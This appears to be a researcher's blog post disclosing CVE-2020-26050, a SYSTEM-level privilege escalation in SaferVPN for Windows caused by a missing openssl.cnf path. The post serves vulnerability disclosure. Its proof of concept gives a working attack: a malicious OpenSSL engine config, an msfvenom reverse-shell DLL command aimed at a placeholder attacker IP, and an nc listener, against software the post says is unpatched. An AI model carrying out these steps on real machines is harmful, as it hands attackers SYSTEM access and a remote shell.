nmht3t Follow
Jan 11, 2021 · 2 min read · Listen

[CVE-2020–26050] SaferVPN for Windows Local Privilege Escalation

Vulnerability Summary

When the SaferVPN attempts to connect to a VPN server, it spawns the openvpn.exe (`C:\Program Files (x86)\SaferVPN for Windows\bin\openvpn.exe`) in the context of NT AUTHORITY\SYSTEM. It tries to load an openssl.cnf configuration file from a non-existing folder (C:\etc\ssl\openssl.cnf). Because a low-privileged user is allowed to create folders under C:\, it's possible for the user to create the appropriate path and place the crafted openssl.cnf file in it. Once the openvpn.exe service starts, the openssl.cnf file will load a malicious OpenSSL engine library resulting in arbitrary code execution as SYSTEM.

> *SaferVPN does not fix this vulnerability even after a 90-day disclosure deadline. Therefore, there is no patch available at the moment for this product. In order to inform the users of the vulnerability, I decided to publicly disclose the vulnerability.*

Version Affected

SaferVPN for Windows from version 5.0.3.3 to the latest one (which is 5.0.4.15 as of Jan 12, 2021)

Proof of Concept

1. Create an openssl.cnf configuration file with the following content.

```
openssl_conf = openssl_init
[openssl_init]
engines = engine_section

[engine_section]
root = root_section

[root_section]
engine_id = root
dynamic_path = c:\\etc\\ssl\\root.dll
init = 0
```

2. Generate a malicious dll using msfvenom (a reverse shell in this case)

```
msfvenom -p windows/shell_reverse_tcp LHOST=[attacker_ip] LPORT=[attacker_port] -f dll > root.dll
```

3. Create the following folder and sub-folders in C:\.

```
mkdir C:\etc\ssl
```

4. Place the openssl.cnf file created in step 1 and the root.dll created in step 2 under `C:\etc\ssl\` .

5. Setup a listener on attacking box

```
nc -lvnp [attacker_port]
```

6. Click the Connect button in SaferVPN for Windows app, you should receive a SYSTEM shell.

PoC Video

Timeline

07–10–2020 — Sent the details of the vulnerability

10–11–2020 —Followed up and no response from the vendor

15–12–2020 — Informed the vendor of the fact that the 90-day disclosure deadline was approaching

7.1.2021 — CVE Assigned CVE-2020–26050

12.1.2021 — Public disclosure

References

Same vulnerability (CVE-2019–12572)>> https://github.com/mirchr/security-research/blob/master/vulnerabilities/PIA/CVE-2019-12572.txt

Cve 2020 26050 Safervpn Vulnerability Research Privilege Escalation